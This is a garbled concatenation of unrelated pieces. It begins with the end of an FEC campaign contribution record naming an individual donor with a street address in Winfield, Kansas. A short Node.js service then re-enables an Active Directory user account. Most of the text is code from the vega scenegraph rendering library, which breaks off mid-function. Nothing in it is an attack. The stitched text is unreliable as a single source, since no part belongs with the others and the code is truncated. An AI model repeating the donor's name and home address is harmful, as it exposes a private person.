"MEMO CODE": "", "CONTRIBUTOR EMPLOYER": "None", "DONOR CANDIDATE STATE": "", "CONTRIBUTOR STREET 1": "7 Braid Hill Dr", "CONTRIBUTOR MIDDLE NAME": "", "DONOR CANDIDATE FEC ID": "", "DONOR CANDIDATE MIDDLE NAME": "", "CONTRIBUTOR STATE": "KS", "DONOR CANDIDATE FIRST NAME": "", "CONTRIBUTOR FIRST NAME": "Teresa", "BACK REFERENCE SCHED NAME": "", "DONOR CANDIDATE DISTRICT": "", "CONTRIBUTION DATE": "20100915", "DONOR COMMITTEE NAME": "", "MEMO TEXT/DESCRIPTION": "", "Reference to SI or SL system code that identifies the Account": "", "FILER COMMITTEE ID NUMBER": "C00019380", "DONOR CANDIDATE LAST NAME": "", "CONTRIBUTOR LAST NAME": "Krusor", "_record_type": "fec.version.v7_0.SA", "CONDUIT STREET2": "", "CONDUIT STREET1": "", "DONOR COMMITTEE FEC ID": "", "CONTRIBUTION PURPOSE DESCRIP": "", "CONTRIBUTOR ZIP": "671566303", "CONTRIBUTOR STREET 2": "", "CONDUIT CITY": "", "ENTITY TYPE": "IND", "CONTRIBUTOR CITY": "Winfield", "CONTRIBUTOR SUFFIX": "", "TRANSACTION ID": "C2277560", "DONOR CANDIDATE SUFFIX": "", "DONOR CANDIDATE OFFICE": "", "CONTRIBUTION PURPOSE CODE": "", "ELECTION OTHER DESCRIPTION": "", "_src_file": "2011/20110504/727387.fec_1.yml", "CONDUIT STATE": "", "CONTRIBUTOR ORGANIZATION NAME": "", "BACK REFERENCE TRAN ID NUMBER": "", "DONOR CANDIDATE PREFIX": "", "CONTRIBUTOR PREFIX": "", "CONDUIT ZIP": "", "CONDUIT NAME": "", "CONTRIBUTION AGGREGATE F3L Semi-annual Bundled": "900.00", "FORM TYPE": "SA11AI"});
const AppError = require('../../../../../shared/errors/AppError'); const usersRepository = require('../../repositories/UsersRepository') class EnableUserService { constructor() { } async execute(user) { const foundUser = await usersRepository.searchByUser(user) if (!foundUser) { throw new AppError(404, `The user ${user} does not exists!`); }; const userAccountControl = 512 const enableUser = await usersRepository.enable(foundUser.dn, { userAccountControl }); if (!enableUser) { throw new AppError(500, `The user ${user} cannot be enable!`); }; return enableUser } } module.exports = new EnableUserService;
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('vega-util'), require('vega-canvas'), require('vega-loader'), require('d3-shape'), require('d3-path')) : typeof define === 'function' && define.amd ? define(['exports', 'vega-util', 'vega-canvas', 'vega-loader', 'd3-shape', 'd3-path'], factory) : (factory((global.vega = {}),global.vega,global.vega,global.vega,global.d3,global.d3)); }(this, (function (exports,vegaUtil,vegaCanvas,vegaLoader,d3Shape,d3Path) { 'use strict'; function Bounds(b) { this.clear(); if (b) this.union(b); } var prototype = Bounds.prototype; prototype.clone = function() { return new Bounds(this); }; prototype.clear = function() { this.x1 = +Number.MAX_VALUE; this.y1 = +Number.MAX_VALUE; this.x2 = -Number.MAX_VALUE; this.y2 = -Number.MAX_VALUE; return this; }; prototype.empty = function() { return ( this.x1 === +Number.MAX_VALUE && this.y1 === +Number.MAX_VALUE && this.x2 === -Number.MAX_VALUE && this.y2 === -Number.MAX_VALUE ); }; prototype.set = function(x1, y1, x2, y2) { if (x2 < x1) { this.x2 = x1; this.x1 = x2; } else { this.x1 = x1; this.x2 = x2; } if (y2 < y1) { this.y2 = y1; this.y1 = y2; } else { this.y1 = y1; this.y2 = y2; } return this; }; prototype.add = function(x, y) { if (x < this.x1) this.x1 = x; if (y < this.y1) this.y1 = y; if (x > this.x2) this.x2 = x; if (y > this.y2) this.y2 = y; return this; }; prototype.expand = function(d) { this.x1 -= d; this.y1 -= d; this.x2 += d; this.y2 += d; return this; }; prototype.round = function() { this.x1 = Math.floor(this.x1); this.y1 = Math.floor(this.y1); this.x2 = Math.ceil(this.x2); this.y2 = Math.ceil(this.y2); return this; }; prototype.translate = function(dx, dy) { this.x1 += dx; this.x2 += dx; this.y1 += dy; this.y2 += dy; return this; }; prototype.rotate = function(angle, x, y) { var cos = Math.cos(angle), sin = Math.sin(angle), cx = x - x*cos + y*sin, cy = y - x*sin - y*cos, x1 = this.x1, x2 = this.x2, y1 = this.y1, y2 = this.y2; return this.clear() .add(cos*x1 - sin*y1 + cx, sin*x1 + cos*y1 + cy) .add(cos*x1 - sin*y2 + cx, sin*x1 + cos*y2 + cy) .add(cos*x2 - sin*y1 + cx, sin*x2 + cos*y1 + cy) .add(cos*x2 - sin*y2 + cx, sin*x2 + cos*y2 + cy); }; prototype.union = function(b) { if (b.x1 < this.x1) this.x1 = b.x1; if (b.y1 < this.y1) this.y1 = b.y1; if (b.x2 > this.x2) this.x2 = b.x2; if (b.y2 > this.y2) this.y2 = b.y2; return this; }; prototype.intersect = function(b) { if (b.x1 > this.x1) this.x1 = b.x1; if (b.y1 > this.y1) this.y1 = b.y1; if (b.x2 < this.x2) this.x2 = b.x2; if (b.y2 < this.y2) this.y2 = b.y2; return this; }; prototype.encloses = function(b) { return b && ( this.x1 <= b.x1 && this.x2 >= b.x2 && this.y1 <= b.y1 && this.y2 >= b.y2 ); }; prototype.alignsWith = function(b) { return b && ( this.x1 == b.x1 || this.x2 == b.x2 || this.y1 == b.y1 || this.y2 == b.y2 ); }; prototype.intersects = function(b) { return b && !( this.x2 < b.x1 || this.x1 > b.x2 || this.y2 < b.y1 || this.y1 > b.y2 ); }; prototype.contains = function(x, y) { return !( x < this.x1 || x > this.x2 || y < this.y1 || y > this.y2 ); }; prototype.width = function() { return this.x2 - this.x1; }; prototype.height = function() { return this.y2 - this.y1; }; var gradient_id = 0; function Gradient(p0, p1) { var stops = [], gradient; return gradient = { id: 'gradient_' + (gradient_id++), x1: p0 ? p0[0] : 0, y1: p0 ? p0[1] : 0, x2: p1 ? p1[0] : 1, y2: p1 ? p1[1] : 0, stops: stops, stop: function(offset, color) { stops.push({offset: offset, color: color}); return gradient; } }; } function Item(mark) { this.mark = mark; this.bounds = (this.bounds || new Bounds()); } function GroupItem(mark) { Item.call(this, mark); this.items = (this.items || []); } vegaUtil.inherits(GroupItem, Item); function ResourceLoader(customLoader) { this._pending = 0; this._loader = customLoader || vegaLoader.loader(); } var prototype$1 = ResourceLoader.prototype; prototype$1.pending = function() { return this._pending; }; function increment(loader) { loader._pending += 1; } function decrement(loader) { loader._pending -= 1; } prototype$1.sanitizeURL = function(uri) { var loader = this; increment(loader); return loader._loader.sanitize(uri, {context:'href'}) .then(function(opt) { decrement(loader); return opt; }) .catch(function() { decrement(loader); return null; }); }; prototype$1.loadImage = function(uri) { var loader = this, Image = vegaCanvas.image(); increment(loader); return loader._loader .sanitize(uri, {context: 'image'}) .then(function(opt) { var url = opt.href; if (!url || !Image) throw {url: url}; var img = new Image(); img.onload = function() { decrement(loader); img.loaded = true; }; img.onerror = function() { decrement(loader); img.loaded = false; }; img.src = url; return img; }) .catch(function(e) { decrement(loader); return {loaded: false, width: 0, height: 0, src: e && e.url || ''}; }); }; prototype$1.ready = function() { var loader = this; return new Promise(function(accept) { function poll(value) { if (!loader.pending()) accept(value); else setTimeout(function() { poll(true); }, 10); } poll(false); }); }; var lookup = { 'basis': { curve: d3Shape.curveBasis }, 'basis-closed': { curve: d3Shape.curveBasisClosed }, 'basis-open': { curve: d3Shape.curveBasisOpen }, 'bundle': { curve: d3Shape.curveBundle, tension: 'beta', value: 0.85 }, 'cardinal': { curve: d3Shape.curveCardinal, tension: 'tension', value: 0 }, 'cardinal-open': { curve: d3Shape.curveCardinalOpen, tension: 'tension', value: 0 }, 'cardinal-closed': { curve: d3Shape.curveCardinalClosed, tension: 'tension', value: 0 }, 'catmull-rom': { curve: d3Shape.curveCatmullRom, tension: 'alpha', value: 0.5 }, 'catmull-rom-closed': { curve: d3Shape.curveCatmullRomClosed, tension: 'alpha', value: 0.5 }, 'catmull-rom-open': { curve: d3Shape.curveCatmullRomOpen, tension: 'alpha', value: 0.5 }, 'linear': { curve: d3Shape.curveLinear }, 'linear-closed': { curve: d3Shape.curveLinearClosed }, 'monotone': { horizontal: d3Shape.curveMonotoneY, vertical: d3Shape.curveMonotoneX }, 'natural': { curve: d3Shape.curveNatural }, 'step': { curve: d3Shape.curveStep }, 'step-after': { curve: d3Shape.curveStepAfter }, 'step-before': { curve: d3Shape.curveStepBefore } }; function curves(type, orientation, tension) { var entry = lookup.hasOwnProperty(type) && lookup[type], curve = null; if (entry) { curve = entry.curve || entry[orientation || 'vertical']; if (entry.tension && tension != null) { curve = curve[entry.tension](tension); } } return curve; } // Path parsing and rendering code adapted from fabric.js -- Thanks! var cmdlen = { m:2, l:2, h:1, v:1, c:6, s:4, q:4, t:2, a:7 }, regexp = [/([MLHVCSQTAZmlhvcsqtaz])/g, /###/, /(\d)([-+])/g, /\s|,|###/]; function pathParse(pathstr) { var result = [], path, curr, chunks, parsed, param, cmd, len, i, j, n, m; // First, break path into command sequence path = pathstr .slice() .replace(regexp[0], '###$1') .split(regexp[1]) .slice(1); // Next, parse each command in turn for (i=0, n=path.length; i<n; ++i) { curr = path[i]; chunks = curr .slice(1) .trim() .replace(regexp[2],'$1###$2') .split(regexp[3]); cmd = curr.charAt(0); parsed = [cmd]; for (j=0, m=chunks.length; j<m; ++j) { if ((param = +chunks[j]) === param) { // not NaN parsed.push(param); } } len = cmdlen[cmd.toLowerCase()]; if (parsed.length-1 > len) { for (j=1, m=parsed.length; j<m; j+=len) { result.push([cmd].concat(parsed.slice(j, j+len))); } } else { result.push(parsed); } } return result; } var segmentCache = {}; var bezierCache = {}; var join = [].join; // Copied from Inkscape svgtopdf, thanks! function segments(x, y, rx, ry, large, sweep, rotateX, ox, oy) { var key = join.call(arguments); if (segmentCache[key]) { return segmentCache[key]; } var th = rotateX * (Math.PI/180); var sin_th = Math.sin(th); var cos_th = Math.cos(th); rx = Math.abs(rx); ry = Math.abs(ry); var px = cos_th * (ox - x) * 0.5 + sin_th * (oy - y) * 0.5; var py = cos_th * (oy - y) * 0.5 - sin_th * (ox - x) * 0.5; var pl = (px*px) / (rx*rx) + (py*py) / (ry*ry); if (pl > 1) { pl = Math.sqrt(pl); rx *= pl; ry *= pl; } var a00 = cos_th / rx; var a01 = sin_th / rx; var a10 = (-sin_th) / ry; var a11 = (cos_th) / ry; var x0 = a00 * ox + a01 * oy; var y0 = a10 * ox + a11 * oy; var x1 = a00 * x + a01 * y; var y1 = a10 * x + a11 * y; var d = (x1-x0) * (x1-x0) + (y1-y0) * (y1-y0); var sfactor_sq = 1 / d - 0.25; if (sfactor_sq < 0) sfactor_sq = 0; var sfactor = Math.sqrt(sfactor_sq); if (sweep == large) sfactor = -sfactor; var xc = 0.5 * (x0 + x1) - sfactor * (y1-y0); var yc = 0.5 * (y0 + y1) + sfactor * (x1-x0); var th0 = Math.atan2(y0-yc, x0-xc); var th1 = Math.atan2(y1-yc, x1-xc); var th_arc = th1-th0; if (th_arc < 0 && sweep === 1){ th_arc += 2 * Math.PI; } else if (th_arc > 0 && sweep === 0) { th_arc -= 2 * Math.PI; } var segs = Math.ceil(Math.abs(th_arc / (Math.PI * 0.5 + 0.001))); var result = []; for (var i=0; i<segs; ++i) { var th2 = th0 + i * th_arc / segs; var th3 = th0 + (i+1) * th_arc / segs; result[i] = [xc, yc, th2, th3, rx, ry, sin_th, cos_th]; } return (segmentCache[key] = result); } function bezier(params) { var key = join.call(params); if (bezierCache[key]) { return bezierCache[key]; } var cx = params[0], cy = params[1], th0 = params[2], th1 = params[3], rx = params[4], ry = params[5], sin_th = params[6], cos_th = params[7]; var a00 = cos_th * rx; var a01 = -sin_th * ry; var a10 = sin_th * rx; var a11 = cos_th * ry; var cos_th0 = Math.cos(th0); var sin_th0 = Math.sin(th0); var cos_th1 = Math.cos(th1); var sin_th1 = Math.sin(th1); var th_half = 0.5 * (th1 - th0); var sin_th_h2 = Math.sin(th_half * 0.5); var t = (8/3) * sin_th_h2 * sin_th_h2 / Math.sin(th_half); var x1 = cx + cos_th0 - t * sin_th0; var y1 = cy + sin_th0 + t * cos_th0; var x3 = cx + cos_th1; var y3 = cy + sin_th1; var x2 = x3 + t * sin_th1; var y2 = y3 - t * cos_th1; return (bezierCache[key] = [ a00 * x1 + a01 * y1, a10 * x1 + a11 * y1, a00 * x2 + a01 * y2, a10 * x2 + a11 * y2, a00 * x3 + a01 * y3, a10 * x3 + a11 * y3 ]); } var temp = ['l', 0, 0, 0, 0, 0, 0, 0]; function scale(current, s) { var c = (temp[0] = current[0]); if (c === 'a' || c === 'A') { temp[1] = s * current[1]; temp[2] = s * current[2]; temp[6] = s * current[6]; temp[7] = s * current[7]; } else { for (var i=1, n=current.length; i<n; ++i) { temp[i] = s * current[i]; } } return temp; } function pathRender(context, path, l, t, s) { var current, // current instruction previous = null, x = 0, // current x y = 0, // current y controlX = 0, // current control point x controlY = 0, // current control point y tempX, tempY, tempControlX, tempControlY; if (l == null) l = 0; if (t == null) t = 0; if (s == null) s = 1; if (context.beginPath) context.beginPath(); for (var i=0, len=path.length; i<len; ++i) { current = path[i]; if (s !== 1) current = scale(current, s); switch (current[0]) { // first letter case 'l': // lineto, relative x += current[1]; y += current[2]; context.lineTo(x + l, y + t); break; case 'L': // lineto, absolute x = current[1]; y = current[2]; context.lineTo(x + l, y + t); break; case 'h': // horizontal lineto, relative x += current[1]; context.lineTo(x + l, y + t); break; case 'H': // horizontal lineto, absolute x = current[1]; context.lineTo(x + l, y + t); break; case 'v': // vertical lineto, relative y += current[1]; context.lineTo(x + l, y + t); break; case 'V': // verical lineto, absolute y = current[1]; context.lineTo(x + l, y + t); break; case 'm': // moveTo, relative x += current[1]; y += current[2]; context.moveTo(x + l, y + t); break; case 'M': // moveTo, absolute x = current[1]; y = current[2]; context.moveTo(x + l, y + t); break; case 'c': // bezierCurveTo, relative tempX = x + current[5]; tempY = y + current[6]; controlX = x + current[3]; controlY = y + current[4]; context.bezierCurveTo( x + current[1] + l, // x1 y + current[2] + t, // y1 controlX + l, // x2 controlY + t, // y2 tempX + l, tempY + t ); x = tempX; y = tempY; break; case 'C': // bezierCurveTo, absolute x = current[5]; y = current[6]; controlX = current[3]; controlY = current[4]; context.bezierCurveTo( current[1] + l, current[2] + t, controlX + l, controlY + t, x + l, y + t ); break; case 's': // shorthand cubic bezierCurveTo, relative // transform to absolute x,y tempX = x + current[3]; tempY = y + current[4]; // calculate reflection of previous control points controlX = 2 * x - controlX; controlY = 2 * y - controlY; context.bezierCurveTo( controlX + l, controlY + t, x + current[1] + l, y + current[2] + t, tempX + l, tempY + t ); // set control point to 2nd one of this command // the first control point is assumed to be the reflection of // the second control point on the previous command relative // to the current point. controlX = x + current[1]; controlY = y + current[2]; x = tempX; y = tempY; break; case 'S': // shorthand cubic bezierCurveTo, absolute tempX = current[3]; tempY = current[4]; // calculate reflection of previous control points controlX = 2*x - controlX; controlY = 2*y - controlY; context.bezierCurveTo( controlX + l, controlY + t, current[1] + l, current[2] + t, tempX + l, tempY + t ); x = tempX; y = tempY; // set control point to 2nd one of this command // the first control point is assumed to be the reflection of // the second control point on the previous command relative // to the current point. controlX = current[1]; controlY = current[2]; break; case 'q': // quadraticCurveTo, relative // transform to absolute x,y tempX = x + current[3]; tempY = y + current[4]; controlX = x + current[1]; controlY = y + current[2]; context.quadraticCurveTo( controlX + l, controlY + t, tempX + l, tempY + t ); x = tempX; y = tempY; break; case 'Q': // quadraticCurveTo, absolute tempX = current[3]; tempY = current[4]; context.quadraticCurveTo( current[1] + l, current[2] + t, tempX + l, tempY + t ); x = tempX; y = tempY; controlX = current[1]; controlY = current[2]; break; case 't': // shorthand quadraticCurveTo, relative // transform to absolute x,y tempX = x + current[1]; tempY = y + current[2]; if (previous[0].match(/[QqTt]/) === null) { // If there is no previous command or if the previous command was not a Q, q, T or t, // assume the control point is coincident with the current point controlX = x; controlY = y; } else if (previous[0] === 't') { // calculate reflection of previous control points for t controlX = 2 * x - tempControlX; controlY = 2 * y - tempControlY; } else if (previous[0] === 'q') { // calculate reflection of previous control points for q controlX = 2 * x - controlX; controlY = 2 * y - controlY; } tempControlX = controlX; tempControlY = controlY; context.quadraticCurveTo( controlX + l, controlY + t, tempX + l, tempY + t ); x = tempX; y = tempY; controlX = x + current[1]; controlY = y + current[2]; break; case 'T': tempX = current[1]; tempY = current[2]; // calculate reflection of previous control points controlX = 2 * x - controlX; controlY = 2 * y - controlY; context.quadraticCurveTo( controlX + l, controlY + t, tempX + l, tempY + t ); x = tempX; y = tempY; break; case 'a': drawArc(context, x + l, y + t, [ current[1], current[2], current[3], current[4], current[5], current[6] + x + l, current[7] + y + t ]); x += current[6]; y += current[7]; break; case 'A': drawArc(context, x + l, y + t, [ current[1], current[2], current[3], current[4], current[5], current[6] + l, current[7] + t ]); x = current[6]; y = current[7]; break; case 'z': case 'Z': context.closePath(); break; } previous = current; } } function drawArc(context, x, y, coords) { var seg = segments( coords[5], // end x coords[6], // end y coords[0], // radius x coords[1], // radius y coords[3], // large flag coords[4], // sweep flag coords[2], // rotation x, y ); for (var i=0; i<seg.length; ++i) { var bez = bezier(seg[i]); context.bezierCurveTo(bez[0], bez[1], bez[2], bez[3], bez[4], bez[5]); } } var tau = 2 * Math.PI, halfSqrt3 = Math.sqrt(3) / 2; var builtins = { 'circle': { draw: function(context, size) { var r = Math.sqrt(size) / 2; context.moveTo(r, 0); context.arc(0, 0, r, 0, tau); } }, 'cross': { draw: function(context, size) { var r = Math.sqrt(size) / 2, s = r / 2.5; context.moveTo(-r, -s); context.lineTo(-r, s); context.lineTo(-s, s); context.lineTo(-s, r); context.lineTo(s, r); context.lineTo(s, s); context.lineTo(r, s); context.lineTo(r, -s); context.lineTo(s, -s); context.lineTo(s, -r); context.lineTo(-s, -r); context.lineTo(-s, -s); context.closePath(); } }, 'diamond': { draw: function(context, size) { var r = Math.sqrt(size) / 2; context.moveTo(-r, 0); context.lineTo(0, -r); context.lineTo(r, 0); context.lineTo(0, r); context.closePath(); } }, 'square': { draw: function(context, size) { var w = Math.sqrt(size), x = -w / 2; context.rect(x, x, w, w); } }, 'triangle-up': { draw: function(context, size) { var r = Math.sqrt(size) / 2, h = halfSqrt3 * r; context.moveTo(0, -h); context.lineTo(-r, h); context.lineTo(r, h); context.closePath(); } }, 'triangle-down': { draw: function(context, size) { var r = Math.sqrt(size) / 2, h = halfSqrt3 * r; context.moveTo(0, h); context.lineTo(-r, -h); context.lineTo(r, -h); context.closePath(); } }, 'triangle-right': { draw: function(context, size) { var r = Math.sqrt(size) / 2, h = halfSqrt3 * r; context.moveTo(h, 0); context.lineTo(-h, -r); context.lineTo(-h, r); context.closePath(); } }, 'triangle-left': { draw: function(context, size) { var r = Math.sqrt(size) / 2, h = halfSqrt3 * r; context.moveTo(-h, 0); context.lineTo(h, -r); context.lineTo(h, r); context.closePath(); } } }; function symbols(_) { return builtins.hasOwnProperty(_) ? builtins[_] : customSymbol(_); } var custom = {}; function customSymbol(path) { if (!custom.hasOwnProperty(path)) { var parsed = pathParse(path); custom[path] = { draw: function(context, size) { pathRender(context, parsed, 0, 0, Math.sqrt(size) / 2); } }; } return custom[path]; } function rectangleX(d) { return d.x; } function rectangleY(d) { return d.y; } function rectangleWidth(d) { return d.width; } function rectangleHeight(d) { return d.height; } function constant(_) { return function() { return _; }; } function vg_rect() { var x = rectangleX, y = rectangleY, width = rectangleWidth, height = rectangleHeight, cornerRadius = constant(0), context = null; function rectangle(_, x0, y0) { var buffer, x1 = x0 != null ? x0 : +x.call(this, _), y1 = y0 != null ? y0 : +y.call(this, _), w = +width.call(this, _), h = +height.call(this, _), cr = +cornerRadius.call(this, _); if (!context) context = buffer = d3Path.path(); if (cr <= 0) { context.rect(x1, y1, w, h); } else { var x2 = x1 + w, y2 = y1 + h; context.moveTo(x1 + cr, y1); context.lineTo(x2 - cr, y1); context.quadraticCurveTo(x2, y1, x2, y1 + cr); context.lineTo(x2, y2 - cr); context.quadraticCurveTo(x2, y2, x2 - cr, y2); context.lineTo(x1 + cr, y2); context.quadraticCurveTo(x1, y2, x1, y2 - cr); context.lineTo(x1, y1 + cr); context.quadraticCurveTo(x1, y1, x1 + cr, y1); context.closePath(); } if (buffer) { context = null; return buffer + '' || null; } } rectangle.x = function(_) { if (arguments.length) { x = typeof _ === 'function' ? _ : constant(+_); return rectangle; } else { return x; } }; rectangle.y = function(_) { if (arguments.length) { y = typeof _ === 'function' ? _ : constant(+_); return rectangle; } else { return y; } }; rectangle.width = function(_) { if (arguments.length) { width = typeof _ === 'function' ? _ : constant(+_); return rectangle; } else { return width; } }; rectangle.height = function(_) { if (arguments.length) { height = typeof _ === 'function' ? _ : constant(+_); return rectangle; } else { return height; } }; rectangle.cornerRadius = function(_) { if (arguments.length) { cornerRadius = typeof _ === 'function' ? _ : constant(+_); return rectangle; } else { return cornerRadius; } }; rectangle.context = function(_) { if (arguments.length) { context = _ == null ? null : _; return rectangle; } else { return context; } }; return rectangle; } var pi = Math.PI; function vg_trail() { var x, y, size, defined, context = null, ready, x1, y1, r1; function point(x2, y2, w2) { var r2 = w2 / 2; if (ready) { var ux = y1 - y2, uy = x2 - x1; if (ux || uy) { // get normal vector var ud = Math.sqrt(ux * ux + uy * uy), rx = (ux /= ud) * r1, ry = (uy /= ud) * r1, t = Math.atan2(uy, ux); // draw segment context.moveTo(x1 - rx, y1 - ry); context.lineTo(x2 - ux * r2, y2 - uy * r2); context.arc(x2, y2, r2, t - pi, t); context.lineTo(x1 + rx, y1 + ry); context.arc(x1, y1, r1, t, t + pi); } else { context.arc(x2, y2, r2, 0, 2*pi); } context.closePath(); } else { ready = 1; } x1 = x2; y1 = y2; r1 = r2; } function trail(data) { var i, n = data.length, d, defined0 = false, buffer; if (context == null) context = buffer = d3Path.path(); for (i = 0; i <= n; ++i) { if (!(i < n && defined(d = data[i], i, data)) === defined0) { if (defined0 = !defined0) ready = 0; } if (defined0) point(+x(d, i, data), +y(d, i, data), +size(d, i, data)); } if (buffer) { context = null; return buffer + '' || null; } } trail.x = function(_) { if (arguments.length) { x = _; return trail; } else { return x; } }; trail.y = function(_) { if (arguments.length) { y = _; return trail; } else { return y; } }; trail.size = function(_) { if (arguments.length) { size = _; return trail; } else { return size; } }; trail.defined = function(_) { if (arguments.length) { defined = _; return trail; } else { return defined; } }; trail.context = function(_) { if (arguments.length) { if (_ == null) { context = null; } else { context = _; } return trail; } else { return context; } }; return trail; } function x(item) { return item.x || 0; } function y(item) { return item.y || 0; } function w(item) { return item.width || 0; } function ts(item) { return item.size || 1; } function h(item) { return item.height || 0; } function xw(item) { return (item.x || 0) + (item.width || 0); } function yh(item) { return (item.y || 0) + (item.height || 0); } function sa(item) { return item.startAngle || 0; } function ea(item) { return item.endAngle || 0; } function pa(item) { return item.padAngle || 0; } function ir(item) { return item.innerRadius || 0; } function or(item) { return item.outerRadius || 0; } function cr(item) { return item.cornerRadius || 0; } function def(item) { return !(item.defined === false); } function size(item) { return item.size == null ? 64 : item.size; } function type(item) { return symbols(item.shape || 'circle'); } var arcShape = d3Shape.arc().startAngle(sa).endAngle(ea).padAngle(pa) .innerRadius(ir).outerRadius(or).cornerRadius(cr), areavShape = d3Shape.area().x(x).y1(y).y0(yh).defined(def), areahShape = d3Shape.area().y(y).x1(x).x0(xw).defined(def), lineShape = d3Shape.line().x(x).y(y).defined(def), rectShape = vg_rect().x(x).y(y).width(w).height(h).cornerRadius(cr), symbolShape = d3Shape.symbol().type(type).size(size), trailShape = vg_trail().x(x).y(y).defined(def).size(ts); function arc(context, item) { return arcShape.context(context)(item); } function area(context, items) { var item = items[0], interp = item.interpolate || 'linear'; return (item.orient === 'horizontal' ? areahShape : areavShape) .curve(curves(interp, item.orient, item.tension)) .context(context)(items); } function line(context, items) { var item = items[0], interp = item.interpolate || 'linear'; return lineShape.curve(curves(interp, item.orient, item.tension)) .context(context)(items); } function rectangle(context, item, x, y) { return rectShape.context(context)(item, x, y); } function shape(context, item) { return (item.mark.shape || item.shape) .context(context)(item); } function symbol(context, item) { return symbolShape.context(context)(item); } function trail(context, items) { return trailShape.context(context)(items); } function boundStroke(bounds, item) { if (item.stroke && item.opacity !== 0 && item.strokeOpacity !== 0) { bounds.expand(item.strokeWidth != null ? +item.strokeWidth : 1); } return bounds; } var bounds, tau$1 = Math.PI * 2, halfPi = tau$1 / 4, circleThreshold = tau$1 - 1e-8; function context(_) { bounds = _; return context; } function noop() {} function add(x, y) { bounds.add(x, y); } context.beginPath = noop; context.closePath = noop; context.moveTo = add; context.lineTo = add; context.rect = function(x, y, w, h) { add(x, y); add(x + w, y + h); }; context.quadraticCurveTo = function(x1, y1, x2, y2) { add(x1, y1); add(x2, y2); }; context.bezierCurveTo = function(x1, y1, x2, y2, x3, y3) { add(x1, y1); add(x2, y2); add(x3, y3); }; context.arc = function(cx, cy, r, sa, ea, ccw) { if (Math.abs(ea - sa) > circleThreshold) { add(cx - r, cy - r); add(cx + r, cy + r); return; } var xmin = Infinity, xmax = -Infinity, ymin = Infinity, ymax = -Infinity, s, i, x, y; function update(a) { x = r * Math.cos(a); y = r * Math.sin(a); if (x < xmin) xmin = x; if (x > xmax) xmax = x; if (y < ymin) ymin = y; if (y > ymax) ymax = y; } // Sample end points and interior points aligned with 90 degrees update(sa); update(ea); if (ea !== sa) { sa = sa % tau$1; if (sa < 0) sa += tau$1; ea = ea % tau$1; if (ea < 0) ea += tau$1; if (ea < sa) { ccw = !ccw; // flip direction s = sa; sa = ea; ea = s; // swap end-points } if (ccw) { ea -= tau$1; s = sa - (sa % halfPi); for (i=0; i<4 && s>ea; ++i, s-=halfPi) update(s); } else { s = sa - (sa % halfPi) + halfPi; for (i=0; i<4 && s<ea; ++i, s=s+halfPi) update(s); } } add(cx + xmin, cy + ymin); add(cx + xmax, cy + ymax); }; function gradient(context, gradient, bounds) { var w = bounds.width(), h = bounds.height(), x1 = bounds.x1 + gradient.x1 * w, y1 = bounds.y1 + gradient.y1 * h, x2 = bounds.x1 + gradient.x2 * w, y2 = bounds.y1 + gradient.y2 * h, stop = gradient.stops, i = 0, n = stop.length, linearGradient = context.createLinearGradient(x1, y1, x2, y2); for (; i<n; ++i) { linearGradient.addColorStop(stop[i].offset, stop[i].color); } return linearGradient; } function color(context, item, value) { return (value.id) ? gradient(context, value, item.bounds) : value; } function fill(context, item, opacity) { opacity *= (item.fillOpacity==null ? 1 : item.fillOpacity); if (opacity > 0) { context.globalAlpha = opacity; context.fillStyle = color(context, item, item.fill); return true; } else { return false; } } var Empty = []; function stroke(context, item, opacity) { var lw = (lw = item.strokeWidth) != null ? lw : 1; if (lw <= 0) return false; opacity *= (item.strokeOpacity==null ? 1 : item.strokeOpacity); if (opacity > 0) { context.globalAlpha = opacity; context.strokeStyle = color(context, item, item.stroke); context.lineWidth = lw; context.lineCap = item.strokeCap || 'butt'; context.lineJoin = item.strokeJoin || 'miter'; context.miterLimit = item.strokeMiterLimit || 10; if (context.setLineDash) { context.setLineDash(item.strokeDash || Empty); context.lineDashOffset = item.strokeDashOffset || 0; } return true; } else { return false; } } function compare(a, b) { return a.zindex - b.zindex || a.index - b.index; } function zorder(scene) { if (!scene.zdirty) return scene.zitems; var items = scene.items, output = [], item, i, n; for (i=0, n=items.length; i<n; ++i) { item = items[i]; item.index = i; if (item.zindex) output.push(item); } scene.zdirty = false; return scene.zitems = output.sort(compare); } function visit(scene, visitor) { var items = scene.items, i, n; if (!items || !items.length) return; var zitems = zorder(scene); if (zitems && zitems.length) { for (i=0, n=items.length; i<n; ++i) { if (!items[i].zindex) visitor(items[i]); } items = zitems; } for (i=0, n=items.length; i<n; ++i) { visitor(items[i]); } } function pickVisit(scene, visitor) { var items = scene.items, hit, i; if (!items || !items.length) return null; var zitems = zorder(scene); if (zitems && zitems.length) items = zitems; for (i=items.length; --i >= 0;) { if (hit = visitor(items[i])) return hit; } if (items === zitems) { for (items=scene.items, i=items.length; --i >= 0;) { if (!items[i].zindex) { if (hit = visitor(items[i])) return hit; } } } return null; } function drawAll(path) { return function(context, scene, bounds) { visit(scene, function(item) { if (!bounds || bounds.intersects(item.bounds)) { drawPath(path, context, item, item); } }); }; } function drawOne(path) { return function(context, scene, bounds) { if (scene.items.length && (!bounds || bounds.intersects(scene.bounds))) { drawPath(path, context, scene.items[0], scene.items); } }; } function drawPath(path, context, item, items) { var opacity = item.opacity == null ? 1 : item.opacity; if (opacity === 0) return; if (path(context, items)) return; if (item.fill && fill(context, item, opacity)) { context.fill(); } if (item.stroke && stroke(context, item, opacity)) { context.stroke(); } } var trueFunc = function() { return true; }; function pick(test) { if (!test) test = trueFunc; return function(context, scene, x, y, gx, gy) { x *= context.pixelRatio; y *= context.pixelRatio; return pickVisit(scene, function(item) { var b = item.bounds; // first hit test against bounding box if ((b && !b.contains(gx, gy)) || !b) return; // if in bounding box, perform more careful test if (test(context, item, x, y, gx, gy)) return item; }); }; } function hitPath(path, filled) { return function(context, o, x, y) { var item = Array.isArray(o) ? o[0] : o, fill = (filled == null) ? item.fill : filled, stroke = item.stroke && context.isPointInStroke, lw, lc; if (stroke) { lw = item.strokeWidth; lc = item.strokeCap; context.lineWidth = lw != null ? lw : 1; context.lineCap = lc != null ? lc : 'butt'; } return path(context, o) ? false : (fill && context.isPointInPath(x, y)) || (stroke && context.isPointInStroke(x, y)); }; } function pickPath(path) { return pick(hitPath(path)); } function translate(x, y) { return 'translate(' + x + ',' + y + ')'; } function translateItem(item) { return translate(item.x || 0, item.y || 0); } function markItemPath(type, shape) { function attr(emit, item) { emit('transform', translateItem(item)); emit('d', shape(null, item)); } function bound(bounds, item) { shape(context(bounds), item); return boundStroke(bounds, item) .translate(item.x || 0, item.y || 0); } function draw(context$$1, item) { var x = item.x || 0, y = item.y || 0; 